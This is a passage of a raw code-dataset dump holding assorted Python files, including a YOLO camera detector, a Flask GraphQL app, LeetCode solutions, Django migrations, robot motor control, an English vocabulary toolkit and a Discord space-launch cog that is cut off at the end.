3/hw3_1.py","file_name":"hw3_1.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"561440498","text":"import body_decetor_yo as yo\nimport cv2\nimport imutils\n\n# cap = yo.cv2.VideoCapture('humans_1.mp4')\n# cap = yo.cv2.VideoCapture('rtsp://172.18.191.159:554/12')\ncap = cv2.VideoCapture('rtsp://172.18.191.159:554/11')\n\n\ndef drawGrid(pic, n, m, line_color=(0, 255, 0), thickness=1, type_=cv2.LINE_AA):\n pxstep = int(pic.shape[1] / n)\n pystep = int(pic.shape[0] / m)\n x = pxstep\n y = pystep\n while x < pic.shape[1]:\n cv2.line(pic, (x, 0), (x, pic.shape[0]), color=line_color, lineType=type_, thickness=thickness)\n x += pxstep\n\n while y < pic.shape[0]:\n cv2.line(pic, (0, y), (pic.shape[1], y), color=line_color, lineType=type_, thickness=thickness)\n y += pystep\n return\n\n\nif __name__ == \"__main__\":\n while True:\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n image = yo.tf.expand_dims(frame, 0)\n image = yo.tf.image.resize(image, (yo.size, yo.size)) / 255\n\n boxes, scores, classes, nums = yo.yolo(image)\n frame = yo.draw_outputs_v2(frame, (boxes, scores, classes, nums), yo.class_names, ['person'])\n drawGrid(frame, 6, 6)\n yo.cv2.imshow('frame', frame)\n if yo.cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n cap.release()\n cv2.destroyAllWindows()\n","sub_path":"yolo_test.py","file_name":"yolo_test.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"251341795","text":"import contextlib\nimport os\nfrom abc import ABCMeta, abstractmethod\nfrom typing import Generic, TypeVar\n\nimport attr\nimport flask\nimport psycopg2\nfrom option import Result\n\nfrom core.gql.graphql_controller import GraphqlController\nfrom core.gql.graphql_request import parse_graphql_request\n\nContext = TypeVar(\"Context\")\n\n\n@attr.s(slots=True, auto_attribs=True)\nclass App(Generic[Context], metaclass=ABCMeta):\n flask_app: flask.Flask\n graphql_controller: GraphqlController[Context]\n\n def __attrs_post_init__(self):\n self.setup_routes()\n\n def setup_routes(self):\n @self.flask_app.route(\"/graphql\", methods=[\"GET\", \"POST\"])\n def graphql():\n with contextlib.closing(\n psycopg2.connect(\n host=os.getenv(\"OHS_DB_HOST\"),\n dbname=os.getenv(\"OHS_DB_NAME\"),\n user=os.getenv(\"OHS_DB_USER\"),\n password=os.getenv(\"OHS_DB_PASSWORD\"),\n )\n ) as conn:\n flask.g.connection = conn\n result = self.execute_gql(flask.request)\n if result.is_err:\n response = flask.jsonify(result.unwrap_err())\n response.status_code = 400\n else:\n response = flask.jsonify(result.unwrap())\n return response\n\n @self.flask_app.route(\"/\")\n def home():\n return \"Hello\"\n\n @abstractmethod\n def create_context(self, request: flask.Request) -> Context:\n ...\n\n def execute_gql(self, request: flask.Request) -> Result[dict, dict]:\n if request.method == \"POST\":\n gql_request = parse_graphql_request(request)\n context = self.create_context(request)\n return gql_request.map_err(lambda e: {\"errors\": [e]}).flatmap(\n lambda req: self.graphql_controller.execute(req, context)\n )\n else:\n return self.graphql_controller.introspect()\n","sub_path":"backend/core/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"333083974","text":"import random\nimport copy\nfrom .hillclimber import hillclimber\nfrom .randomize import randomize\n\nclass unshared_hillclimber(randomize):\n\n def __init__(self):\n self.grid = None\n self.n = 50\n self.houses_to_change = 5\n self.retry = False\n\n def find_to_mutate(self, grid):\n \"\"\"\n Returns houses with longest distance to their destination along with a few random ones\n \"\"\"\n # Sorts all houses based on distance\n houses_list = list(grid.all_houses.values())\n houses_list = sorted(houses_list, key=lambda House:House.distance, reverse=True)\n to_change = []\n\n # Picks houses with longest disance and a few random houses to change\n for i in range (self.houses_to_change):\n to_change.append(houses_list[i])\n random_number = random.randint(self.houses_to_change, len(houses_list) - 1)\n to_change.append(houses_list[random_number])\n \n return to_change\n\n def mutate_house_cable(self, houses, grid):\n \"\"\"\n Removes all cables from previously chosen houses and creates new ones\n \"\"\"\n # Removes the cables of all houses which need their cables removed\n for House in houses:\n House.cables.clear()\n House.latest_cable = tuple([(House.x_coordinate, House.y_coordinate)])\n # Restores capacity of corresponding battery\n grid.all_batteries.get(House.battery).remaining_capacity += House.output\n\n # Assigns new destination to houses and creates cable\n self.random_assignment(grid, houses)\n for House in houses:\n battery = grid.all_batteries.get(House.battery)\n self.create_cable(House, battery)\n \n def calculate_cost(self, grid):\n \"\"\"\n Returns cost of current cable configuration\n \"\"\"\n cost = 5000 * len(grid.all_batteries.values())\n for House in grid.all_houses.values():\n cost += 9 * len(House.cables)\n return cost\n\n def fix_error(self):\n \"\"\"\n Returns old grid to undo changes that led to error\n \"\"\"\n self.retry = False\n return self.grid\n \n def run(self, grid, houses_to_change, iterations):\n \"\"\"\n Starts with a random solution and makes small changes until \n no improvements have been found for a number of iterations chosen by user\n \"\"\"\n # Saves user input\n self.houses_to_change = houses_to_change\n\n # Saves initial solution\n self.grid = copy.deepcopy(grid)\n\n # Sets variable and informs user\n no_improvement = 0\n print(\"Started hillclimbing...\")\n print(f\"Initial cost: {self.calculate_cost(grid)}\")\n\n # Makes small changes every loop\n while no_improvement < iterations:\n new_grid = copy.deepcopy(self.grid)\n\n # Mutates a few houses\n houses = self.find_to_mutate(new_grid)\n self.mutate_house_cable(houses, new_grid)\n\n # Check if solution is valid, if not: makes changes undone\n if self.retry:\n new_grid = self.fix_error()\n continue\n\n # Save best solution\n if self.calculate_cost(self.grid) > self.calculate_cost(new_grid):\n no_improvement = 0\n self.grid = new_grid\n print(f\"Found better solution: {self.calculate_cost(self.grid)}\")\n else:\n no_improvement += 1\n \n # Returns best grid\n return self.grid","sub_path":"code/algorithms/unshared_hillclimber.py","file_name":"unshared_hillclimber.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"206564021","text":"\n# Define a function to get the most recently modified file\nimport os\n\ndef get_newest_modified(dirpath, cutoff_date = None, newest = True):\n\n a = [s for s in os.listdir(dirpath) if os.path.isfile(os.path.join(dirpath, s))]\n\n # Don't bother if it's empty\n if len(a)==0:\n return ['']\n\n # Sort by date\n a.sort(key=lambda s: os.path.getmtime(os.path.join(dirpath, s)), reverse=True)\n\n # Cutoff by date if necessary\n if cutoff_date!=None:\n cutoff_date = pd.to_datetime(str(cutoff_date))\n a = [s for s in a if dt.datetime.fromtimestamp(os.path.getctime(os.path.join(dirpath, s))) >= cutoff_date]\n\n if newest==True:\n a = a[0]\n\n # A single return\n return a\n\n# ---------------------------------------------\n","sub_path":"fun/core/useful_functions.py","file_name":"useful_functions.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"395031122","text":"from unittest import TestCase\n\nfrom musicscore.musicstream.streamvoice import SimpleFormat\nfrom musicscore.musictree.treescoretimewise import TreeScoreTimewise\n\n\nclass Test(TestCase):\n def setUp(self) -> None:\n self.score = TreeScoreTimewise()\n sf = SimpleFormat(quarter_durations=[1, 1])\n v = sf.to_stream_voice(1)\n v.add_to_score(self.score, part_number=1, first_measure=1)\n\n sf = SimpleFormat(quarter_durations=[1, 1])\n v = sf.to_stream_voice(2)\n v.add_to_score(self.score, part_number=1, first_measure=1)\n\n sf = SimpleFormat(quarter_durations=[1, 1])\n v = sf.to_stream_voice(1)\n v.add_to_score(self.score, part_number=2, first_measure=2)\n\n def test_1(self):\n chord = self.score.get_measure(1).get_part(1).get_staff(1).get_voice(1).chords[1]\n self.assertEqual(chord.__name__, '1.1.1.2')\n chord = self.score.get_measure(1).get_part(1).get_staff(1).get_voice(2).chords[0]\n self.assertEqual(chord.__name__, '1.1.2.1')\n chord = self.score.get_measure(2).get_part(2).get_staff(1).get_voice(1).chords[1]\n self.assertEqual(chord.__name__, '2.2.1.2')\n","sub_path":"tests/musictree/test_chord_names.py","file_name":"test_chord_names.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"442677011","text":"class Solution(object):\r\n def maxProfit(self, prices):\r\n \"\"\"\r\n :type prices: List[int]\r\n :rtype: int\r\n \"\"\"\r\n buyDay=0\r\n profit=0\r\n while buyDay < len(prices):\r\n if prices[buyDay+1]>prices[buyDay]:\r\n profit-=prices[buyDay]\r\n break\r\n buyDay+=1\r\n\r\n p1=buyDay\r\n p2=buyDay+1\r\n\r\n while p2=prices[p1]:\r\n p2+=1\r\n \r\n\r\n\r\n\r\n","sub_path":"bestTimeToBuyAndSellStockWithCooldown.py","file_name":"bestTimeToBuyAndSellStockWithCooldown.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"196415453","text":"def categorize_shark_column(categories, empty_list, *table_columns):\n #the letter 'M', which in the column refers to meters, is erroneously match as a correspondence. \n #For this reason an exception has been created inside the loop\n for line in table_columns:\n line = str(line).title().split()\n for word in line:\n if word.title() != 'M':\n if word.title() in categories:\n empty_list.append((word.title()+ ' shark'))\n break\n else:\n if word.title() == 'Values':\n empty_list.append('No Values')\n else:\n empty_list.append('Other')\n\ndef categorize_activity_column(categories, empty_list, *table_columns):\n # I used the function to clean the data in a column of the dataset\n for line in table_columns:\n line = str(line).title().split()\n for word in line:\n if word.title()[:4] in categories:\n empty_list.append((word.title()[:4]))\n break\n else:\n empty_list.append('Other')\n\ndef update_categories_values_table(str_name_column,Dataset,categories):\n # The correspondence of the words was made using only the first 4 letters, \n # because of too many different variations between the words (infinitive or -ing type).\n # For this it's better to update the previously assigned name\n # Run the function update_categories_values_table to clear the column data \n for c in categories.split():\n Dataset[f\"{str_name_column}\"][Dataset[f\"{str_name_column}\"].str.startswith(f\"{c[:4]}\")] = f\"{c}\"\n\ndef categorize_injury_column(categories, empty_list, *table_columns):\n import re\n # I used the function to clean the data in a column of the dataset\n for line in table_columns: \n type_injury = ''\n for c in categories:\n a = re.findall(f'{c}|{c.lower()}|{c.upper()}|{c.title()}', line)\n if len(a)>0:\n type_injury += f' {str(a[0]).title()}'\n if len(type_injury) > 0:\n empty_list.append(type_injury.strip())\n else:\n empty_list.append('Unknown')\n","sub_path":"src/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"103349451","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/ali/ownCloud/Project/python/django-aparnik-framework-project/testandbuildprojectframework/aparnik/packages/educations/courses/migrations/0021_auto_20190714_1639.py\n# Compiled at: 2020-01-05 09:49:45\n# Size of source mod 2**32: 518 bytes\nfrom django.db import migrations, models\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('courses', '0020_auto_20190615_1430')]\n operations = [\n migrations.AlterField(model_name='coursesummary',\n name='type',\n field=models.CharField(choices=[('M', 'فیلم'), ('V', 'صدا'), ('P', 'پی دی اف'), ('I', 'عکس'), ('L', 'لینک')], max_length=1, verbose_name='نوع'))]","sub_path":"pycfiles/django-apar-1.1.6.41.tar/0021_auto_20190714_1639.cpython-37.py","file_name":"0021_auto_20190714_1639.cpython-37.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"18050087","text":"from django.contrib.admin import site\nfrom django.core.urlresolvers import reverse, NoReverseMatch\nfrom django.utils.text import capfirst\nfrom django.conf import settings\n\nfrom . import base\n\ndef make_menus(context):\n app_list = []\n user = context.get('user')\n request = context.get('request')\n admin_url = reverse('admin:index')\n for (sidebar, submenu_models) in base.load_sidebar():\n models = []\n selected = False\n for model in submenu_models:\n model_admin = site._registry[model]\n #\n app_label = model._meta.app_label\n perms = base.check_user_perms(user, request, model, model_admin)\n if not perms or True not in perms.values():\n continue\n info = (app_label, model._meta.model_name)\n model_dict = {\n 'name': capfirst(model._meta.verbose_name_plural),\n 'object_name': model._meta.object_name,\n 'perms': perms,\n }\n models.append(model_dict)\n if perms.get('change'):\n try:\n model_dict['admin_url'] = url = reverse(\n 'admin:%s_%s_changelist' % info,\n current_app=site.name,\n )\n if url in request.path: selected = True\n except NoReverseMatch:\n pass\n if perms.get('add'):\n try:\n model_dict['add_url'] = reverse(\n 'admin:%s_%s_add' % info,\n current_app=site.name,\n )\n except NoReverseMatch:\n pass\n models and app_list.append({\n 'name': sidebar.name,\n 'app_label': sidebar.name,\n 'app_url': admin_url if selected else 'javascript:void(0)',\n 'has_module_perms': True,\n 'models': models,\n })\n return {'app_list': app_list, 'current_url': request.path}\n\nfrom bootstrap_admin.templatetags.bootstrap_admin_template_tags import register\n\nregister.inclusion_tag(\n getattr(settings, 'BOOTSTRAP_ADMIN_SIDEBAR_MENU_TEMPLATE', None) or 'bootstrap_admin/sidebar_menu.html',\n takes_context=True, name='render_menu_app_list'\n)(make_menus)\n","sub_path":"admin_menu/plugins/bootstrap_admin.py","file_name":"bootstrap_admin.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"514916881","text":"#!/usr/bin/python3\n\nimport tensorflow as tf\nprint(tf.__version__)\n\n\nbce = tf.keras.losses.BinaryCrossentropy()\ny_true = [0., 0., 1., 1.] # Targets\ny_pred = [1., 1., 1., 0.] # Predictions\nloss = bce(y_true, y_pred)\nprint('Loss:', loss.numpy())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Francois Chollet - 1 tf2 + Keras/tf2-10-loss_class.py","file_name":"tf2-10-loss_class.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"393162445","text":"# -*- coding: utf-8 -*-\n##----------------------------------------------------------------------\n## Copyright (C) 2007-2014 The NOC Project\n## See LICENSE for details\n##----------------------------------------------------------------------\n\n# Python modules\nimport json\n## Third-party modules\nfrom south.db import db\n## NOC modules\nfrom noc.lib.nosql import get_db, ObjectId\n\n\nclass Migration(object):\n def forwards(self):\n if db.execute(\n \"\"\"\n select count(*) from pg_class where relname='gis_geodata'\n \"\"\"\n )[0][0] == 0:\n return # No PostGIS\n c = get_db().noc.geodata\n bulk = c.initialize_unordered_bulk_op()\n n = 0\n for layer, label, object, data in db.execute(\"\"\"\n SELECT layer, label, object, ST_AsGeoJSON(data)\n FROM gis_geodata\n \"\"\"):\n data = json.loads(data)\n bulk.insert({\n \"layer\": ObjectId(layer),\n \"object\": ObjectId(object),\n \"label\": label,\n \"data\": data\n })\n n += 1\n if n:\n bulk.execute()\n # Leave table for further analisys\n # db.drop_table(\"gis_geodata\")\n\n def backwards(self):\n pass","sub_path":"gis/migrations/0004_migrate_geodata.py","file_name":"0004_migrate_geodata.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"375064591","text":"#!/usr/bin/env python\nimport sys\nfrom tiberius.control.control import Control\nfrom tiberius.control.actuators import MotorState\nfrom tiberius.logger import logger\nimport tty\nimport termios\nimport time\nimport logging\nd_logger = logging.getLogger('tiberius.testing.keyboard_control')\n\n\nc = Control()\nultras = c.ultrasonics\n\n\ndef getKey():\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\n\nif __name__ == \"__main__\":\n while(True):\n\n key = getKey()\n d_logger.debug(\"Key %s pressed\", key)\n if(key == 'c'):\n c.motors.stop()\n sys.exit(0)\n elif(key == 'w'):\n c.motors.setSpeedPercent(50)\n c.driveForwardUntilWall(5,50)\n elif(key == 'W'):\n c.motors.setSpeedPercent(100)\n c.motors.moveForward()\n elif(key == 'a'):\n c.motors.setSpeedPercent(40)\n c.motors.turnLeft()\n elif(key == 'A'):\n c.motors.setSpeedPercent(100)\n c.motors.turnLeft()\n elif(key == 's'):\n c.motors.setSpeedPercent(50)\n c.driveBackwardUntilWall(5,50)\n elif(key == 'S'):\n c.motors.setSpeedPercent(100)\n c.motors.moveBackward()\n elif(key == 'd'):\n c.motors.setSpeedPercent(50)\n c.motors.turnRight()\n elif(key == 'D'):\n c.motors.setSpeedPercent(100)\n c.motors.turnRight()\n elif(key == ' '):\n c.motors.stop()\n time.sleep(0.1)\n\n # Use ultrasonics to prevent collisions.\n if ultras.frontHit() and c.motors.state == MotorState.FORWARD:\n c.motors.stop()\n\n if ultras.rearHit() and c.motors.state == MotorState.BACKWARD:\n c.motors.stop()\n\n # If we are turning, any edge could be hit, so check all sensors\n if (ultras.anythingHit() and\n (c.motors.state == MotorState.RIGHT or\n c.motors.state == MotorState.LEFT)):\n c.motors.stop()\n","sub_path":"tiberius/testing/scripts/ultras_control.py","file_name":"ultras_control.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"320731147","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nhttps://leetcode.com/problems/maximal-square/description/\n\nGiven a 2D binary matrix filled with 0's and 1's,\nfind the largest square containing only 1's and return its area.\n\n\nFor example, given the following matrix:\n\n1 0 1 0 0\n1 0 1 1 1\n1 1 1 1 1\n1 0 0 1 0\nReturn 4.\n\nhttps://leetcode.com/problems/maximal-square/discuss/61935/6-lines-Visual-Explanation-O(mn)\n\nabove above-left left\n\n 1111 1111\n 1111 1111 1111\n 1111 1111 1111\n 1111 1111 1111\n * * 1111*\n\"\"\"\n\n\nclass Solution(object):\n def maximalSquare(self, A):\n \"\"\"\n :type matrix: List[List[str]]\n :rtype: int\n \"\"\"\n\n for i, r in enumerate(A):\n r = A[i] = map(int, r)\n\n for j, c in enumerate(r):\n\n if i * j * c: # 重要!\n r[j] = min(A[i - 1][j], r[j - 1], A[i - 1][j - 1]) + 1\n print(A)\n return max(map(max, A + [[0]])) ** 2 # + [[0]] 因為A可以為 []\n\n def rewrite(self, A):\n \"\"\"\n :type matrix: List[List[str]]\n :rtype: int\n \"\"\"\n # DP, buttom-up approach\n # 檢查 此 node 之 上, 左, 左上對角線的值. 並且取以上三點最小 + 1\n # 為此 node 之 新值.\n\n # 開始traverse每一個點, row by row\n\n for ri, r in enumerate(A):\n\n for ci, c in enumerate(r):\n\n A[ri][ci] = int(c)\n c = A[ri][ci]\n\n # 使用聰明的方法避開processing row 0 與 col 0 與 值為 0 的c\n # 即 ri * ci * c\n if ri * ci * c:\n # 檢查 左, 上, 左上 的值\n # 並且update c 為 min(左, 上, 左上) + 1\n r[ci] = min(r[ci - 1], A[ri - 1][ci], A[ri - 1][ci - 1]) + \\\n 1\n\n # 最後 traverse 整個update過後的 A, 找最大值的square返回\n\n if A:\n return max([max(r) for r in A]) ** 2\n return 0\n\n\ndef build():\n return [[1, 0, 1, 0, 0],\n [1, 0, 1, 1, 1],\n [1, 1, 1, 1, 1],\n [1, 0, 0, 1, 0]]\n\n\nif __name__ == \"__main__\":\n\n s = Solution()\n print(s.maximalSquare(build()))\n print(s.rewrite(build()))\n","sub_path":"dp/221_Maximal_Square.py","file_name":"221_Maximal_Square.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"577325291","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n#======================================================================\n#\n# resource.py - \n#\n# Created by skywind on 2018/07/20\n# Last Modified: 2018/07/20 23:15:58\n#\n#======================================================================\nfrom __future__ import print_function\nimport sys\nimport time\nimport os\nimport ccinit\nimport ascmini\nimport stardict\nimport wordbank\nimport wordkit\n\n\n#----------------------------------------------------------------------\n# ShareData\n#----------------------------------------------------------------------\nclass ShareData (object):\n\n def __init__ (self):\n self._dict = None\n self._lemma = None\n self._root = None\n self._scope = None\n self._books = {}\n\n def dictionary (self):\n if self._dict is None:\n db = ccinit.path_home('share/dict/dictionary.db')\n self._dict = stardict.StarDict(db)\n return self._dict\n\n def lemma (self):\n if self._lemma is None:\n fn = ccinit.path_home('share/dict/lemma.en.txt')\n self._lemma = stardict.LemmaDB()\n self._lemma.load(fn)\n return self._lemma\n\n def root (self):\n if self._root is None:\n fn = ccinit.path_home('share/dict/wordroot.txt')\n self._root = ascmini.load_config(fn)\n return self._root\n\n def book (self, name):\n if name not in self._books:\n fn = ccinit.path_home('share/wordbook/%s'%name)\n if not os.path.exists(fn):\n return None\n book = wordkit.WordBook(fn)\n self._books[name] = book\n return self._books[name]\n\n def dict_query (self, word):\n return self.dictionary().query(word)\n\n def scope (self):\n if self._scope is None:\n fn = ccinit.path_home('share/level/scope.txt')\n self._scope = wordkit.WordBook(fn)\n return self._scope\n\n def scope_check (self, word):\n scope = self.scope()\n return (word in scope)\n\n\n#----------------------------------------------------------------------\n# LocalData\n#----------------------------------------------------------------------\nclass LocalData (object):\n\n def __init__ (self):\n self._bank = None\n self._skip = None\n self._todo = None\n self._init_dirs()\n\n def _safe_mkdir (self, dir):\n if not os.path.exists(dir):\n try:\n os.mkdir(dir)\n except:\n pass\n return True\n\n def _init_dirs (self):\n self._safe_mkdir(ccinit.path_data('bank'))\n self._safe_mkdir(ccinit.path_data('skip'))\n\n def bank (self):\n if self._bank is None:\n fn = ccinit.path_data('bank/bank.db')\n self._bank = wordbank.WordBank(fn)\n return self._bank\n\n def skip (self):\n if self._skip is None:\n base = ccinit.path_data('skip')\n self._skip = wordkit.WordBook()\n for fn in os.listdir(base):\n if os.path.splitext(fn)[-1].lower() == '.txt':\n fn = os.path.join(base, fn)\n self._skip.load(fn)\n return self._skip\n\n def todo (self):\n if self._todo is None:\n base = ccinit.path_data('todo')\n self._todo = wordkit.WordBook()\n for fn in os.listdir(base):\n if os.path.splitext(fn)[-1].lower() == '.txt':\n fn = os.path.join(base, fn)\n self._todo.load(fn)\n return self._todo\n \n def skip_simple (self, word):\n if \"'\" in word:\n return True\n skip = self.skip()\n return skip.check(word)\n\n def skip_todo (self, word):\n if \"'\" in word:\n return True\n todo = self.todo()\n return todo.check(word)\n\n def bank_query (self, word):\n bank = self.bank()\n return bank.query(word)\n\n\n#----------------------------------------------------------------------\n# local\n#----------------------------------------------------------------------\nshare = ShareData()\nlocal = LocalData()\n\n\n#----------------------------------------------------------------------\n# tools\n#----------------------------------------------------------------------\nclass ToolBox (object):\n\n def __init__ (self):\n self._tts_engine = None \n\n def audio_locate (self):\n locate = ccinit.cfg.option('default', 'audio')\n if not locate:\n locate = ccinit.path_home('share/audio')\n return locate\n\n def audio_play (self, word, volume = None, wait = True):\n if sys.platform[:3] != 'win':\n return False\n locate = self.audio_locate()\n if not os.path.exists(locate):\n return False\n head = word[:1].lower()\n if not head.isalnum():\n head = '-'\n src = os.path.join(locate, head, word.lower() + '.mp3')\n if not os.path.exists(src):\n return False\n import playmp3\n return playmp3.audio_play(src, volume, wait)\n\n def audio_stop (self):\n if sys.platform[:3] != 'win':\n return False\n import playmp3\n return playmp3.audio_stop()\n\n def audio_check (self):\n if sys.platform[:3] != 'win':\n return False\n import playmp3\n return playmp3.audio_check()\n\n def tts_engine (self):\n if not self._tts_engine:\n try:\n import pyttsx3\n except ImportError:\n return None\n self._tts_engine = pyttsx3.init()\n voices = self._tts_engine.getProperty('voices')\n for voice in voices:\n if 'english' in voice.name.lower():\n self._tts_engine.setProperty('voice', voice.id)\n # print('choose: %s'%voice.name)\n break\n return self._tts_engine\n\n def tts_say (self, text):\n engine = self.tts_engine()\n if not engine:\n return False\n engine.say(text)\n engine.runAndWait()\n return True\n\n def disorder (self, array):\n import random\n b = [ n for n in array ]\n n = []\n while len(b) > 0:\n i = random.randint(0, len(b) - 1)\n n.append(b[i])\n b[i] = b[len(b) - 1]\n b.pop()\n return n\n\n def say (self, word):\n hr = self.audio_play(word)\n if not hr:\n return self.tts_say(word)\n return True\n\n def word_frq (self, word):\n q = share.dict_query(word)\n if not q:\n return None\n elif (not q['frq']) and (not q['bnc']):\n return None\n if q['frq'] and (not q['bnc']):\n frq = q['frq']\n elif (not q['frq']) and q['bnc']:\n frq = q['bnc']\n elif q['frq'] and q['bnc']:\n frq = min(q['frq'], q['bnc'])\n else:\n raise ValueError('word frq error: %s'%word)\n return frq\n\n def importance (self, word):\n if local.skip_simple(word):\n return False\n q = share.dict_query(word)\n if not q:\n return False\n if not q['frq']:\n return False\n elif not q['bnc']:\n return False\n if self.word_frq(word) > 20000:\n return False\n return True\n\n def word_score (self, word):\n q = share.dict_query(word)\n if not q:\n return 0\n detail = q['detail']\n if q['oxford'] == 1:\n if 'zk' in q['tag']:\n return 0\n elif 'gk' in q['tag']:\n return 1\n return 2\n frq = self.word_frq(word)\n if frq is None:\n return None\n if frq < 3000:\n return 2\n elif frq < 4000:\n return 3\n elif frq >= 4000 and frq <= 20000:\n level = int((frq - 4000) // 1000)\n return 4 + level\n return None\n\n def save_list (self, filename, words):\n if isinstance(words, dict):\n input = []\n for word in words:\n input.append((word, words[word]))\n words = input\n with open(filename, 'w') as fp:\n count = 0\n for item in words:\n if isinstance(item, str):\n word = item\n fp.write('%s\\n'%word)\n elif isinstance(item, list) or isinstance(item, tuple):\n part = [ str(n) for n in item ]\n if len(part) < 1:\n continue\n fp.write((', '.join(part)) + '\\n')\n count += 1\n if count >= 10:\n count = 0\n fp.write('\\n')\n return 0\n\n\n#----------------------------------------------------------------------\n# \n#----------------------------------------------------------------------\nutils = ToolBox()\n\n\n#----------------------------------------------------------------------\n# testing case\n#----------------------------------------------------------------------\nif __name__ == '__main__':\n def test1():\n print(share.dict_query('word'))\n print(local.skip_simple('you'))\n print(local.skip()._count)\n return 0\n def test2():\n # ccinit.cfg.config['default']['audio'] = 'e:/english/resource/audio'\n utils.audio_play('hello')\n return 0\n def test3():\n utils.tts_say('I will speak this text')\n return 0\n test3()\n\n\n\n","sub_path":"lib/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":9525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"425589621","text":"#!/usr/bin/env python\n\nline = int(input(\"Enter a number: \"))\nline1 = line // 2\nline2 = line - line1\n\nfor i in range(-line1,line2):\n if i < 0:\n count = -i\n count2 = line\n elif i == 0:\n count = i\n count2 = -(line2)\n else:\n count = line1\n count2 = line\n print(\" \"*count+\"*\"*abs(count2-(line1+abs(i))))\n","sub_path":"P17083-贾璐/learn/circulation_training17.py","file_name":"circulation_training17.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"36350198","text":"import aiohttp\nimport asyncio\nimport json\nimport os\nimport discord\nfrom datetime import datetime\nfrom discord.ext import commands\nfrom nerdlandbot.translations.Translations import get_text as translate\nfrom nerdlandbot.helpers.TranslationHelper import get_culture_from_context as culture\n\nfrom nerdlandbot.helpers.constants import THE_SPACE_DEVS_BASE_URL, THE_SPACE_DEVS_VERSION, THE_SPACE_DEVS_LIMIT_TO_10_RESULTS\nfrom nerdlandbot.helpers.constants import THE_SPACE_DEVS_HOME_URL, NOTIFY_EMBED_COLOR\nfrom nerdlandbot.helpers.constants import THE_SPACE_DEVS_UPCOMING_LAUNCH_RESOURCE\nfrom nerdlandbot.helpers.constants import THE_SPACE_DEVS_LOCAL_CACHE_SPACE_LAUNCHES_FILE, THE_SPACE_DEVS_LOCAL_CACHE_FOLDER, THE_SPACE_DEVS_TIMESTAMP_FORMAT\n\nclass SpaceDevs (commands.Cog, name='Space'):\n def __init__(self,bot:commands.Bot):\n self.bot = bot\n self.cache_of_space_launches_json_path = os.path.join(THE_SPACE_DEVS_LOCAL_CACHE_FOLDER, THE_SPACE_DEVS_LOCAL_CACHE_SPACE_LAUNCHES_FILE + '.json')\n self.cache_of_space_launches_time_path = os.path.join (THE_SPACE_DEVS_LOCAL_CACHE_FOLDER, THE_SPACE_DEVS_LOCAL_CACHE_SPACE_LAUNCHES_FILE + '.time')\n if not os.path.isdir(THE_SPACE_DEVS_LOCAL_CACHE_FOLDER):\n os.makedirs(THE_SPACE_DEVS_LOCAL_CACHE_FOLDER)\n\n @commands.command(name=\"space_launches\", hidden = False, help=\"space_launches_help\", brief=\"space_launches_brief\")\n async def cmd_space_launches(self, ctx:commands.Context):\n full_url = '/'.join ([THE_SPACE_DEVS_BASE_URL, THE_SPACE_DEVS_VERSION, '/'.join (THE_SPACE_DEVS_UPCOMING_LAUNCH_RESOURCE),THE_SPACE_DEVS_LIMIT_TO_10_RESULTS])\n if self.should_call_the_api ():\n async with aiohttp.ClientSession() as session:\n async with session.get(full_url, headers = {\"accept\":\"application/json\"}) as resp: \n if resp.status == 200:\n msg = await resp.text()\n with open(self.cache_of_space_launches_json_path,\"w\") as file:\n file.write(msg)\n with open(self.cache_of_space_launches_time_path,\"w\") as file:\n timestamp = datetime.now().strftime(THE_SPACE_DEVS_TIMESTAMP_FORMAT)\n file.write(timestamp)\n embed = self.parse_from_file_and_compose_embed (self.cache_of_space_launches_json_path)\n await ctx.send(embed = 